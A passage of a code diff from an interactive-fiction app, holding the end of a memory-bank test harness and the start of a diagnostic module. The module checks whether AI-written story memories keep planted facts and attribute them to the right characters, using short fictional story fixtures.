filler_prose(n + 100, scenario.prose_words))
|
||||
g["diverged_at_turn"] = n
|
||||
elif n == scenario.turns and scenario.pre_recall_reply:
|
||||
turn("do", "I head back to the tavern.", scenario.pre_recall_reply)
|
||||
else:
|
||||
turn("do", f"I walk on to the {PLACES[n % len(PLACES)]}.",
|
||||
filler_prose(n, scenario.prose_words))
|
||||
settle()
|
||||
|
||||
rows = memories()
|
||||
created = [r["id"] for r in rows if r["id"] not in known]
|
||||
newly_forgotten = [r["id"] for r in rows
|
||||
if r["forgotten"] and not known.get(r["id"], {}).get("forgotten")]
|
||||
for r in rows:
|
||||
known[r["id"]] = r
|
||||
if f_memory_id is None and plant_depth is not None:
|
||||
for r in rows:
|
||||
if (r["source_start"] is not None and r["source_start"] <= plant_depth
|
||||
<= r["source_end"] and FACT_F.carried_by(r["text"])):
|
||||
f_memory_id = r["id"]
|
||||
if scenario.pin_first_memory and pinned_id is None:
|
||||
candidate = next((r for r in rows if r["id"] != f_memory_id), None)
|
||||
if candidate is not None:
|
||||
call("PATCH", f"/memories/{candidate['id']}", {"pinned": True})
|
||||
pinned_id = candidate["id"]
|
||||
f_row = known.get(f_memory_id) if f_memory_id else None
|
||||
result["trace"].append({
|
||||
"turn": n,
|
||||
"active": sum(1 for r in rows if not r["forgotten"]),
|
||||
"total": len(rows),
|
||||
"created": created,
|
||||
"evicted": newly_forgotten,
|
||||
"created_and_evicted_same_turn": sorted(set(created) & set(newly_forgotten)),
|
||||
"f_memory_id": f_memory_id,
|
||||
"f_forgotten": bool(f_row and f_row["forgotten"]),
|
||||
"f_use_count": f_row["use_count"] if f_row else None,
|
||||
"coverage": coverage([(r["source_start"], r["source_end"]) for r in rows
|
||||
if not r["forgotten"] and r["source_start"] is not None],
|
||||
None),
|
||||
# Isolation on every turn, not only at recall (WP-B.2 acceptance).
|
||||
**per_turn_isolation(adv),
|
||||
})
|
||||
|
||||
turn("do", scenario.recall_text, filler_prose(999, scenario.prose_words))
|
||||
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv)
|
||||
settings = db.query(models.Settings).filter_by(user_id=user_id).first()
|
||||
recall_action = (db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adv,
|
||||
models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first())
|
||||
result["plant_depth"] = plant_depth
|
||||
result["recall_depth"] = recall_action.depth
|
||||
result["isolation"] = isolation(
|
||||
db, adventure, FACT_F, plant_depth,
|
||||
recall_snapshot=recall_action.context_snapshot,
|
||||
recall_depth=recall_action.depth)
|
||||
result["diagnosis"] = asyncio.run(diagnose(
|
||||
db, adventure, settings, FACT_F, plant_depth,
|
||||
recall_action=recall_action, embed=embedder.embed))
|
||||
result["summariser_excerpts"] = len(summariser.excerpts)
|
||||
# Provenance as the recall turn recorded it, resolved back to rows.
|
||||
used = (recall_action.context_snapshot.get("memories") or {}).get("used") or []
|
||||
f_entry = next((m for m in used
|
||||
if m.get("id") == result["diagnosis"]["created"]["memory_id"]), None)
|
||||
f_memory = db.get(models.Memory, f_entry["id"]) if f_entry else None
|
||||
block = memorybank.source_block(db, f_memory) if f_memory is not None else []
|
||||
result["provenance"] = {
|
||||
"recorded": f_entry and {k: f_entry.get(k) for k in
|
||||
("id", "source", "semantic_score", "lexical_score",
|
||||
"final_score", "authority")},
|
||||
"range_covers_plant": bool(f_entry and f_entry["source"]["source_start"]
|
||||
<= plant_depth <= f_entry["source"]["source_end"]),
|
||||
"matches_row": bool(f_memory is not None and f_entry["source"] == {
|
||||
"branch_id": f_memory.branch_id, "depth": f_memory.depth,
|
||||
"source_start": f_memory.source_start, "source_end": f_memory.source_end}),
|
||||
"source_block_depths": [a.depth for a in block],
|
||||
"source_block_holds_planting": any(a.text == FACT_F.sentence for a in block),
|
||||
}
|
||||
|
||||
memory_id = result["diagnosis"]["created"]["memory_id"]
|
||||
if memory_id is not None and not result["diagnosis"]["retained"]["forgotten"]:
|
||||
variants = {}
|
||||
base = production_query(adventure, recall_action.id)
|
||||
# WP-B.2's negative control needs a decoy: another memory that
|
||||
# holds a word the question adds, and nothing about F.
|
||||
decoy = next(((m.id, found.group(1)) for m in db.execute(
|
||||
select(models.Memory).where(models.Memory.adventure_id == adventure.id,
|
||||
models.Memory.forgotten.is_(False),
|
||||
models.Memory.id != memory_id)
|
||||
.order_by(models.Memory.id)).scalars()
|
||||
if (found := re.search(r"at the ([a-z]+ [a-z]+)\.", m.text or ""))), None)
|
||||
queries = [
|
||||
("direct", variant_query(base, scenario.recall_text)),
|
||||
("paraphrase", variant_query(base, PARAPHRASE_QUERY)),
|
||||
("unrelated", variant_query(base, UNRELATED_QUERY)),
|
||||
# The player's words with the context taken away.
|
||||
("input_only", {**variant_query(base, scenario.recall_text), "context": ""}),
|
||||
# Words every memory in these fixtures holds, and nothing else.
|
||||
("common_words", variant_query(base, COMMON_WORDS_QUERY)),
|
||||
]
|
||||
if decoy is not None:
|
||||
queries.append(("rare_word_with_paraphrase", variant_query(
|
||||
base, PARAPHRASE_QUERY[:-1] + f", out by the {decoy[1]}.")))
|
||||
for label, query in queries:
|
||||
ranking = asyncio.run(rank_bank(db, adventure, settings, query, embedder.embed))
|
||||
row = next((r for r in ranking["scored"] if r["memory_id"] == memory_id), None)
|
||||
decoy_row = next((r for r in ranking["scored"]
|
||||
if decoy is not None and r["memory_id"] == decoy[0]), None)
|
||||
text = query["input"]
|
||||
variants[label] = {"query": text, "rank": row and row["rank"],
|
||||
"selected_count": len(ranking["selected"]),
|
||||
"decoy_memory_id": decoy and decoy[0],
|
||||
"decoy_rank": decoy_row and decoy_row["rank"],
|
||||
"decoy_lexical_score": decoy_row and decoy_row["lexical_score"],
|
||||
"of": len(ranking["scored"]),
|
||||
"similarity": row and row["similarity"],
|
||||
"lexical_score": row and row["lexical_score"],
|
||||
"final_score": row and row["final_score"],
|
||||
"selected": bool(row and row["selected"]),
|
||||
"top_k": ranking["top_k"]}
|
||||
result["ranking_variants"] = variants
|
||||
if memory_id is not None:
|
||||
result["f_first_used_turn"] = next(
|
||||
(t["turn"] for t in result["trace"] if (t["f_use_count"] or 0) > 0), None)
|
||||
result["f_last_use_increase_turn"] = max(
|
||||
(b["turn"] for a, b in zip(result["trace"], result["trace"][1:])
|
||||
if (b["f_use_count"] or 0) > (a["f_use_count"] or 0)), default=None)
|
||||
|
||||
evicted_turn = next((t["turn"] for t in result["trace"] if t["f_forgotten"]), None)
|
||||
first_evictions = next((t["evicted"] for t in result["trace"] if t["evicted"]), [])
|
||||
result["eviction"] = {
|
||||
"capacity": scenario.capacity,
|
||||
"f_evicted_at_turn": evicted_turn,
|
||||
"f_use_count_when_evicted": next(
|
||||
(t["f_use_count"] for t in result["trace"] if t["f_forgotten"]), None),
|
||||
"first_eviction_turn": next(
|
||||
(t["turn"] for t in result["trace"] if t["evicted"]), None),
|
||||
"first_evicted_ids": first_evictions,
|
||||
"f_memory_was_first_evicted": bool(f_memory_id and f_memory_id in first_evictions),
|
||||
"created_and_evicted_same_turn": sorted(
|
||||
{i for t in result["trace"] for i in t["created_and_evicted_same_turn"]}),
|
||||
"pinned_memory_id": pinned_id,
|
||||
"pinned_memory_forgotten": bool(pinned_id and known[pinned_id]["forgotten"]),
|
||||
}
|
||||
|
||||
if scenario.lineage_control:
|
||||
path_clause = lineage.path_of(db, adventure).clause(models.Memory)
|
||||
stored = db.execute(select(models.Memory.id).where(
|
||||
models.Memory.id.in_(g.get("memory_ids") or [-1]))).scalars().all()
|
||||
eligible = db.execute(select(models.Memory.id).where(
|
||||
models.Memory.id.in_(g.get("memory_ids") or [-1]), path_clause)).scalars().all()
|
||||
used_after = set()
|
||||
injected_text = False
|
||||
# Only turns played after the divergence. Before it, G was on the
|
||||
# active line, and a memory of it being used then is correct.
|
||||
for action in (db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adv,
|
||||
models.Action.type == "ai",
|
||||
models.Action.id > g["last_action_id_before_divergence"])
|
||||
.options(undefer(models.Action.context_snapshot))):
|
||||
snap = action.context_snapshot or {}
|
||||
for m in (snap.get("memories") or {}).get("used") or []:
|
||||
if m.get("id") in (g.get("memory_ids") or []):
|
||||
used_after.add(action.id)
|
||||
if FACT_G.mentioned_by(_section(snap, MEMORIES_LABEL)):
|
||||
injected_text = True
|
||||
g.update(stored=stored, eligible_on_active_line=eligible,
|
||||
turns_whose_memories_used_named_g=sorted(used_after),
|
||||
g_text_ever_in_used_memories=injected_text)
|
||||
if scenario.lineage_control:
|
||||
call("POST", f"/checkpoints/{g['line_a']}/restore")
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv)
|
||||
eligible = db.execute(select(models.Memory.id).where(
|
||||
models.Memory.id.in_(g.get("memory_ids") or [-1]),
|
||||
lineage.path_of(db, adventure).clause(models.Memory))).scalars().all()
|
||||
g["eligible_after_returning_to_line_a"] = eligible
|
||||
result["lineage_control"] = g
|
||||
return result
|
||||
finally:
|
||||
for obj, name, value in saved:
|
||||
setattr(obj, name, value)
|
||||
app.dependency_overrides.clear()
|
||||
adventure_routes.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
@@ -0,0 +1,551 @@
|
||||
"""v1.1 WP-B.2: how faithfully a real model's memories keep the facts of their block.
|
||||
|
||||
**Diagnostic only. Nothing here is imported by the application, and nothing here
|
||||
is a release gate.**
|
||||
|
||||
Why it exists: the first isolation-valid real-model WP-B run failed at creation.
|
||||
The whole planting block reached the summariser, and the memory it wrote left the
|
||||
planted fact out (`V1.1-WP-B2-REPORT.md` §L.2). B2.4 tried the plan's bounded
|
||||
remedy, a memory prompt instructing the model to keep named facts and objects. It
|
||||
was measured with this module, did not correct the failure, and was **not
|
||||
shipped** (§T). The module stays so the limitation can be measured again, on this
|
||||
model or a different one.
|
||||
|
||||
- **Fixtures.** Short story blocks, each built around a fact a later scene could
|
||||
turn on, with the ordinary texture a real block carries around it. They are
|
||||
genre-neutral (office, contemporary, a science-fiction-neutral station), plus
|
||||
the attempt-2 planting block itself. Each names the facts a memory must keep,
|
||||
whom each belongs to, and what it must not invent.
|
||||
- **The checker** (`evaluate`) is deterministic and reads only the memory text.
|
||||
It is a heuristic, and says so:
|
||||
- a fact counts as kept when one sentence names every part of it;
|
||||
- attribution is the nearest named character before the fact's verb;
|
||||
- it also reports word count, a leading "Memory:" and second-person "you".
|
||||
- **The comparison** (`compare`) sends each fixture to a real model through the
|
||||
application's own provider and `memorybank.memory_user_prompt`. It scores
|
||||
memories under the shipped prompt and under the rejected B2.4 experiment.
|
||||
|
||||
A scripted summariser cannot show what a prompt makes a model do. So the
|
||||
deterministic tests prove only that the checker is right and the fixtures reach
|
||||
the summariser; model quality is measured here, with inference, and reported.
|
||||
|
||||
# the real-model measurement (inference: ask first)
|
||||
.venv/bin/python -m tools.memory_fidelity --endpoint <v1 URL> \\
|
||||
--model qwen2.5:3b-instruct-16k --samples 5 --out "$HOME/v11-evidence/<label>"
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
#: The memory prompt WP-B.2 B2.4 tried and **rejected**. Kept verbatim so the
|
||||
#: experiment in `V1.1-WP-B2-REPORT.md` §T can be repeated; the application
|
||||
#: never uses it.
|
||||
B24_EXPERIMENT_PROMPT = (
|
||||
"You compress interactive-fiction story excerpts into memories. Respond with "
|
||||
"1-2 plain sentences in past tense, in at most 50 words.\n\n"
|
||||
"Keep the concrete facts a later scene could turn on: specific people, "
|
||||
"objects and places; where something is; who has, hid, found, knows, saw or "
|
||||
"promised what; injuries, clues and commitments. A distinctive fact comes "
|
||||
"before mood, scenery, routine movement and small talk. Drop those first, "
|
||||
"however much of the excerpt they fill, and never let a later passage crowd "
|
||||
"out an earlier fact.\n\n"
|
||||
"Keep each fact with the person it belongs to. Never move an action, promise, "
|
||||
"possession, statement or piece of knowledge from one character to another, "
|
||||
"and never add a fact the excerpt does not state.\n\n"
|
||||
'Write in the third person. The narration calls the protagonist "you". The '
|
||||
'protagonist\'s own actions and words are the lines that begin with ">", '
|
||||
'written as "I" or "You", and what they establish is part of the story just '
|
||||
"as the narration is. The protagonist is named in the Cast: refer to them by "
|
||||
'that name, never as "you" or "I". If the Cast gives no name for them, call '
|
||||
'them "the player". Name the other characters too rather than writing "he", '
|
||||
'"she" or "they" on their own — this memory will be read on its own, much '
|
||||
"later, with nothing around it to say who a pronoun meant.\n\n"
|
||||
"No preamble, no commentary."
|
||||
)
|
||||
|
||||
TARGET_WORDS = 50
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Fact:
|
||||
"""One fact a memory must keep.
|
||||
|
||||
`groups`: every group must be matched in one sentence, by any of its terms.
|
||||
`verbs`: the relation. When one is in that sentence, the nearest named
|
||||
character before it is who the memory says the fact belongs to.
|
||||
`actor`: whom it belongs to. `None` for a fact with no owner.
|
||||
"""
|
||||
|
||||
name: str
|
||||
groups: tuple[tuple[str, ...], ...]
|
||||
actor: str | None = None
|
||||
verbs: tuple[str, ...] = ()
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Fixture:
|
||||
fixture_id: str
|
||||
genre: str
|
||||
requirement: str # which measurement this fixture serves
|
||||
protagonist: str
|
||||
others: tuple[str, ...]
|
||||
actions: tuple[tuple[str, str], ...] # (type, text), oldest first
|
||||
facts: tuple[Fact, ...]
|
||||
min_facts: int | None = None # default: all
|
||||
#: Regexes a faithful memory must not match. Each is anchored on the wrong
|
||||
#: character as the subject ("Marcus promised"), because a faithful memory
|
||||
#: may name that character elsewhere in the same sentence ("promised Marcus").
|
||||
forbidden: tuple[str, ...] = ()
|
||||
#: Hand-written memories for the checker's own tests: one that should pass,
|
||||
#: and failures that should not, each with the reason it must report.
|
||||
faithful: str = ""
|
||||
unfaithful: tuple[tuple[str, str], ...] = field(default_factory=tuple)
|
||||
|
||||
@property
|
||||
def cast(self) -> tuple[str, ...]:
|
||||
return (self.protagonist, *self.others)
|
||||
|
||||
@property
|
||||
def raw(self) -> str:
|
||||
return "\n\n".join(text for _, text in self.actions)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ checker
|
||||
|
||||
def _term(term: str) -> re.Pattern:
|
||||
body = r"\s+".join(re.escape(part) for part in term.lower().split())
|
||||
return re.compile(rf"(?<![a-z]){body}(?:s|es|ed|d)?(?![a-z])")
|
||||
|
||||
|
||||
def _sentences(text: str) -> list[str]:
|
||||
return [s.strip() for s in re.split(r"(?<=[.!?])\s+", text or "") if s.strip()]
|
||||
|
||||
|
||||
def _first(low: str, terms) -> int | None:
|
||||
found = [m.start() for t in terms for m in [_term(t).search(low)] if m]
|
||||
return min(found) if found else None
|
||||
|
||||
|
||||
def _attributed_to(sentence: str, fact: Fact, cast: tuple[str, ...]) -> str | None:
|
||||
"""The character this sentence gives the fact to, or None if it names none."""
|
||||
low = sentence.lower()
|
||||
at = _first(low, fact.verbs) if fact.verbs else None
|
||||
names = [(m.start(), name) for name in cast for m in _term(name).finditer(low)]
|
||||
if at is not None:
|
||||
before = [(pos, name) for pos, name in names if pos < at]
|
||||
if before:
|
||||
return max(before)[1]
|
||||
return min(names)[1] if names else None
|
||||
|
||||
|
||||
def evaluate(fixture: Fixture, memory: str) -> dict:
|
||||
"""What a memory kept, whom it gave each fact to, what it invented, and how
|
||||
it is framed."""
|
||||
memory = memory or ""
|
||||
sentences = _sentences(memory)
|
||||
facts = {}
|
||||
for fact in fixture.facts:
|
||||
holding = [s for s in sentences
|
||||
if all(_first(s.lower(), group) is not None for group in fact.groups)]
|
||||
owners = sorted({o for s in holding
|
||||
if (o := _attributed_to(s, fact, fixture.cast)) is not None})
|
||||
facts[fact.name] = {
|
||||
"kept": bool(holding),
|
||||
"attributed_to": owners,
|
||||
"attribution_ok": (fact.actor is None or not holding
|
||||
or (owners != [] and set(owners) == {fact.actor})),
|
||||
}
|
||||
kept = sum(1 for f in facts.values() if f["kept"])
|
||||
needed = len(fixture.facts) if fixture.min_facts is None else fixture.min_facts
|
||||
inventions = [p for p in fixture.forbidden if re.search(p, memory, re.I)]
|
||||
words = len(memory.split())
|
||||
misattributed = [name for name, f in facts.items() if f["kept"] and not f["attribution_ok"]]
|
||||
return {
|
||||
"facts": facts,
|
||||
"kept": kept,
|
||||
"needed": needed,
|
||||
"retained": kept >= needed,
|
||||
"misattributed": misattributed,
|
||||
"inventions": inventions,
|
||||
"words": words,
|
||||
"over_target": words > TARGET_WORDS,
|
||||
# Framing the shipped prompt's rules exist to prevent.
|
||||
"memory_prefix": memory.lstrip().lower().startswith("memory:"),
|
||||
"second_person": re.search(r"\byou(r|rs|rself)?\b", memory, re.I) is not None,
|
||||
"passed": kept >= needed and not misattributed and not inventions,
|
||||
}
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- fixtures
|
||||
|
||||
OFFICE_TEXTURE = (
|
||||
"The open-plan floor hums with keyboards and the air conditioning rattles in "
|
||||
"its vent. Someone has left a birthday card on the printer, and the coffee "
|
||||
"machine gurgles through another pot."
|
||||
)
|
||||
|
||||
FIXTURES: tuple[Fixture, ...] = (
|
||||
Fixture(
|
||||
fixture_id="object_place_office",
|
||||
genre="office",
|
||||
requirement="distinctive object and place",
|
||||
protagonist="Dana", others=("Priya",),
|
||||
actions=(
|
||||
("start", "Monday at the insurance office. Dana is covering the late shift."),
|
||||
("do", "> You check the queue of unanswered claims."),
|
||||
("ai", f"{OFFICE_TEXTURE} Priya walks past your desk carrying a stack of folders, "
|
||||
"and slides the red backup drive into the bottom drawer of the grey filing "
|
||||
"cabinet in the archive room before locking it. The phones ring twice and stop. "
|
||||
"Rain streaks the tall windows while the floor slowly empties."),
|
||||
("do", "> You ask Priya whether the audit is still on for Thursday."),
|
||||
("ai", "Priya shrugs, says nobody tells her anything, and goes back to her own desk. "
|
||||
"The cleaners arrive with their carts and the lights dim on a timer."),
|
||||
("do", "> You log off and pack your bag."),
|
||||
),
|
||||
facts=(Fact("drive in the cabinet", (("backup drive", "drive"), ("drawer", "filing cabinet", "cabinet")),
|
||||
actor="Priya", verbs=("slid", "slide", "put", "placed", "locked", "hid", "stored", "left")),),
|
||||
forbidden=(r"\bdana\s+(had\s+)?(took|takes|has|holds|held|stole|locked|slid|hid)\b[^.]*\bdrive\b",),
|
||||
faithful="Priya locked the red backup drive in the bottom drawer of the grey filing cabinet "
|
||||
"in the archive room while Dana covered the late shift.",
|
||||
unfaithful=(
|
||||
("Dana covered a quiet late shift at the insurance office while rain fell and the "
|
||||
"cleaners arrived.", "not retained"),
|
||||
("Dana locked the red backup drive in the bottom drawer of the filing cabinet.",
|
||||
"misattributed"),
|
||||
),
|
||||
),
|
||||
Fixture(
|
||||
fixture_id="player_fact_station",
|
||||
genre="science-fiction-neutral",
|
||||
requirement="player-established concrete fact",
|
||||
protagonist="Reyes", others=("Okafor",),
|
||||
actions=(
|
||||
("start", "Deck four of the relay station, halfway through the night cycle. Reyes is on maintenance duty."),
|
||||
("do", "> You walk the corridor checking the pressure seals."),
|
||||
("ai", "The corridor lights pulse a dim blue. Condensation beads on the pipes, and "
|
||||
"somewhere below a pump cycles on with a shudder. Chief Okafor passes with a "
|
||||
"tablet under one arm and nods without stopping."),
|
||||
("do", "> I watch Chief Okafor seal the coolant sample in locker nine and log it under a false name."),
|
||||
("ai", "The night cycle drags on. The ventilation hisses, a door chimes somewhere "
|
||||
"down the ring, and the viewport shows the same slow turn of stars it always "
|
||||
"does. You finish the seal checks and sign the maintenance sheet, and the "
|
||||
"corridor settles back into its usual hum."),
|
||||
("do", "> You head back to your bunk."),
|
||||
),
|
||||
facts=(Fact("sample in locker nine", (("coolant sample", "sample"), ("locker",)),
|
||||
actor="Okafor", verbs=("seal", "sealed", "locked", "put", "stored", "hid", "logged", "placed")),),
|
||||
forbidden=(r"\breyes\s+(had\s+)?(sealed|seals|hid|stored|locked|logged)\b[^.]*\bsample\b",),
|
||||
faithful="Reyes saw Chief Okafor seal the coolant sample in locker nine and log it under a false name.",
|
||||
unfaithful=(
|
||||
("Reyes finished the seal checks on deck four during a quiet night cycle.", "not retained"),
|
||||
),
|
||||
),
|
||||
Fixture(
|
||||
fixture_id="promise_contemporary",
|
||||
genre="contemporary",
|
||||
requirement="promise / commitment",
|
||||
protagonist="Dana", others=("Marcus",),
|
||||
actions=(
|
||||
("start", "A Saturday afternoon at the flat Dana is about to rent from Marcus."),
|
||||
("do", "> You look around the empty living room."),
|
||||
("ai", "Sunlight falls across bare floorboards. The radiator ticks, a neighbour's "
|
||||
"radio plays through the wall, and Marcus jingles a ring of keys while he "
|
||||
"talks about the boiler and the bins."),
|
||||
("do", '> You say "Marcus, I will bring you the signed lease by Friday."'),
|
||||
("ai", "Marcus nods and writes something on the back of an envelope. Outside a bus "
|
||||
"pulls away, a dog barks twice, and the afternoon light moves slowly up the wall."),
|
||||
("do", "> You thank him and leave."),
|
||||
),
|
||||
facts=(Fact("lease by Friday", (("lease",), ("friday",)), actor="Dana",
|
||||
verbs=("promise", "promised", "bring", "agreed", "said", "would")),),
|
||||
forbidden=(r"\bmarcus\s+(promised|agreed|will\s+bring|would\s+bring)\b[^.]*\blease\b",),
|
||||
faithful="Dana promised Marcus she would bring him the signed lease for the flat by Friday.",
|
||||
unfaithful=(
|
||||
("Marcus promised to bring Dana the signed lease by Friday.", "misattributed"),
|
||||
("Dana viewed the empty flat on a sunny Saturday while Marcus talked about the boiler.",
|
||||
"not retained"),
|
||||
),
|
||||
),
|
||||
Fixture(
|
||||
fixture_id="attribution_station",
|
||||
genre="science-fiction-neutral",
|
||||
requirement="attribution",
|
||||
protagonist="Reyes", others=("Lena", "Tomas"),
|
||||
actions=(
|
||||
("start", "The survey ship's cargo bay, between jumps."),
|
||||
("do", "> You ask who can open the sealed vault."),
|
||||
("ai", "Lena folds her arms. She is the only one aboard who knows the vault door "
|
||||
"code, and she makes it clear she is keeping it to herself. Tomas taps the "
|
||||
"access badge clipped to his jacket; without it the bay lift will not move."),
|
||||
("do", "> You look from one of them to the other."),
|
||||
("ai", "The bay lights flicker as the drive spools. Crates creak against their "
|
||||
"straps, and the air smells of cold metal and oil."),
|
||||
("do", "> You wait for one of them to speak."),
|
||||
),
|
||||
facts=(
|
||||
Fact("code", (("code",),), actor="Lena", verbs=("knows", "knew", "keeps", "kept", "holds", "held")),
|
||||
Fact("badge", (("badge",),), actor="Tomas",
|
||||
verbs=("carries", "carried", "has", "had", "holds", "held", "wore", "wears", "tapped", "taps")),
|
||||
),
|
||||
forbidden=(r"\breyes\b[^.]*\b(knew|knows)\b[^.]*\bcode\b",),
|
||||
faithful="Lena alone knew the vault door code and kept it to herself; Tomas carried the access "
|
||||
"badge that the bay lift needed.",
|
||||
unfaithful=(
|
||||
("Tomas knew the vault door code, and Lena carried the access badge.", "misattributed"),
|
||||
),
|
||||
),
|
||||
Fixture(
|
||||
fixture_id="clutter_office",
|
||||
genre="office",
|
||||
requirement="clutter pressure",
|
||||
protagonist="Dana", others=("Priya", "Owen"),
|
||||
actions=(
|
||||
("start", "The quarterly offsite at a conference hotel by the motorway."),
|
||||
("do", "> You find a seat near the back."),
|
||||
("ai", "The conference room smells of carpet cleaner and burnt coffee. Chairs scrape, "
|
||||
"a projector fan whines, and someone at the front struggles with the clicker. "
|
||||
"Owen talks about his weekend at length, the traffic on the ring road, a new "
|
||||
"sandwich place, the football, and whether it will rain for the barbecue. The "
|
||||
"slides cycle through charts nobody reads. Outside the window lorries hiss past "
|
||||
"on the wet motorway, and the hotel's muzak drifts in whenever the door opens."),
|
||||
("do", "> You go to the refreshment table."),
|
||||
("ai", "Pastries sweat under cling film. Priya stirs her tea, glances around, and "
|
||||
"quietly tells you that she saw Owen shred the signed supplier contract in the "
|
||||
"copy room last night. Then she talks about the weather, the parking, and the "
|
||||
"long drive home, and laughs at a joke from across the room. The afternoon "
|
||||
"session is announced, people drift back to their seats, and the projector "
|
||||
"fan starts whining again over a long talk about quarterly targets."),
|
||||
("do", "> You take your seat for the afternoon session."),
|
||||
),
|
||||
facts=(Fact("contract shredded", (("contract",), ("shred", "shredded", "destroyed")),
|
||||
actor="Owen", verbs=("shred", "shredded", "destroyed")),),
|
||||
forbidden=(r"\b(priya|dana)\b\s+(had\s+)?(shred|shredded|destroyed)\b",),
|
||||
faithful="At the offsite, Priya told Dana she had seen Owen shred the signed supplier contract "
|
||||
"in the copy room the night before.",
|
||||
unfaithful=(
|
||||
("Dana sat through a dull offsite of charts, pastries and Owen's talk about the weekend.",
|
||||
"not retained"),
|
||||
("Priya shredded the signed supplier contract in the copy room.", "misattributed"),
|
||||
),
|
||||
),
|
||||
Fixture(
|
||||
fixture_id="no_invention_office",
|
||||
genre="office",
|
||||
requirement="no invention",
|
||||
protagonist="Dana", others=("Owen",),
|
||||
actions=(
|
||||
("start", "A short planning meeting in the small room on the third floor."),
|
||||
("do", "> You sit down opposite Owen."),
|
||||
("ai", "A black briefcase sits unclaimed by the door; nobody mentions it. Owen says "
|
||||
"the budget review has moved from Tuesday to Thursday, and asks you to tell "
|
||||
"the team."),
|
||||
("do", "> You agree to pass it on."),
|
||||
("ai", "Owen thanks you, checks his phone, and the meeting ends after ten minutes. "
|
||||
"The briefcase is still by the door when you leave."),
|
||||
("do", "> You walk back to your desk."),
|
||||
),
|
||||
facts=(Fact("review moved", (("budget review", "review"), ("thursday",))),),
|
||||
forbidden=(
|
||||
r"\b(took|taken|stole|hid|hidden|grabbed|pocketed|carried|carries|owns|owned|belong\w*)\b[^.]*\bbriefcase\b",
|
||||
r"\bbriefcase\b[^.]*\b(belong\w*|his|her|owen's|dana's|secret|clue)\b",
|
||||
r"\b(clue|secret|password|code)\b",
|
||||
),
|
||||
faithful="Owen told Dana the budget review had moved from Tuesday to Thursday, and Dana agreed "
|
||||
"to tell the team.",
|
||||
unfaithful=(
|
||||
("Owen told Dana the budget review had moved to Thursday and left his secret briefcase by the door.",
|
||||
"invented"),
|
||||
),
|
||||
),
|
||||
Fixture(
|
||||
fixture_id="multiple_facts_station",
|
||||
genre="science-fiction-neutral",
|
||||
requirement="multiple concrete facts",
|
||||
protagonist="Reyes", others=("Hale", "Varga", "Moreau"),
|
||||
actions=(
|
||||
("start", "The mess hall of the mining outpost after the shift change."),
|
||||
("do", "> You sit with the day crew."),
|
||||
("ai", "Trays clatter and the recycler drones. Engineer Hale admits, half joking, that "
|
||||
"she hid the spare fuse inside the airlock control panel. Doctor Varga says only "
|
||||
"she knows the reactor override phrase, and changes the subject. Pilot Moreau "
|
||||
"grumbles that he owes Hale two shifts of cover."),
|
||||
("do", "> You finish your meal."),
|
||||
("ai", "The lights dim for the rest cycle and the crew drifts off to their bunks."),
|
||||
("do", "> You head to your quarters."),
|
||||
),
|
||||
facts=(
|
||||
Fact("fuse in the panel", (("fuse",), ("panel", "airlock")), actor="Hale",
|
||||
verbs=("hid", "hidden", "put", "stashed", "kept")),
|
||||
Fact("override phrase", (("override",),), actor="Varga", verbs=("knows", "knew", "keeps")),
|
||||
Fact("owes cover", (("owes", "owed", "debt"), ("shift", "cover")), actor="Moreau",
|
||||
verbs=("owes", "owed")),
|
||||
),
|
||||
min_facts=2,
|
||||
faithful="Hale hid the spare fuse inside the airlock control panel, and Varga alone knew the "
|
||||
"reactor override phrase.",
|
||||
unfaithful=(
|
||||
("Varga hid the spare fuse inside the airlock panel, and Hale knew the reactor override phrase.",
|
||||
"misattributed"),
|
||||
),
|
||||
),
|
||||
Fixture(
|
||||
# The planting block of WP-B.2 real-model attempt 2, verbatim: the
|
||||
# harness's own fixture campaign, with no identifier in it. It is the
|
||||
# failure the reference model has not overcome.
|
||||
fixture_id="regression_attempt_2",
|
||||
genre="fantasy (the harness campaign)",
|
||||
requirement="the actual failed-run block",
|
||||
protagonist="Aldric", others=("Mara", "Edrin"),
|
||||
actions=(
|
||||
("start", "Rain over Westhaven. Aldric sits in the Crooked Lantern with a silver key in his "
|
||||
"pocket and no-one to give it to."),
|
||||
("do", "> I tell Mara quietly that the silver key opens the crypt beneath the Old Abbey — "
|
||||
"SILVER-KEY-CRYPT-OLD-ABBEY."),
|
||||
("ai", "The lantern's warmth feels cold against Aldric's hands as he fidgets with the silver "
|
||||
"key. Mara observes him without a word, her eyes unreadable. The rain outside "
|
||||
"persists, a backdrop of nature's indifference to the human drama transpiring. "
|
||||
"Aldric's fingers close over the key, the familiar weight making him feel both more "
|
||||
"alone and more determined. He pulls the key from his pocket, the metal feeling cold "
|
||||
"against his skin. \n\n> \"I have the key,\" Aldric whispers to Mara. \"It leads to "
|
||||
"the crypt beneath the abbey.\"\n\nEdrin, having finished his ale, stands. \"Well, now "
|
||||
"that we know the key leads to somewhere... do you think we should see what it "
|
||||
"opens?\"\n\nThe silver key feels heavy in Aldric's hands. He looks at Mara, then at "
|
||||
"the key, and finally at Edrin. He decides. \"Let's do this.\""),
|
||||
("do", "> I watch Mara slip the amber sundial inside the cracked teapot on the tavern's top "
|
||||
"shelf, and she makes me promise to tell no one."),
|
||||
("ai", "Aldric steps closer to the smoky bar, his gaze shifting from the silver key in his "
|
||||
"pocket to Mara. \"Let's not overthink this,\" he says, his voice steady despite the "
|
||||
"gnawing doubt that tugs at him. \"Let's see what the crypt holds.\"\n\nEdrin raises "
|
||||
"an eyebrow, his curiosity piqued. \"Alright, then. But if this leads somewhere "
|
||||
"dangerous, we're splitting up. If we make it back here, I'll tell no one what we "
|
||||
"found.\"\n\nMara nods her agreement, her eyes still unreadable. \"Agreed. But "
|
||||
"remember, we're not the first to look there. We need to tread carefully.\"\n\nWith a "
|
||||
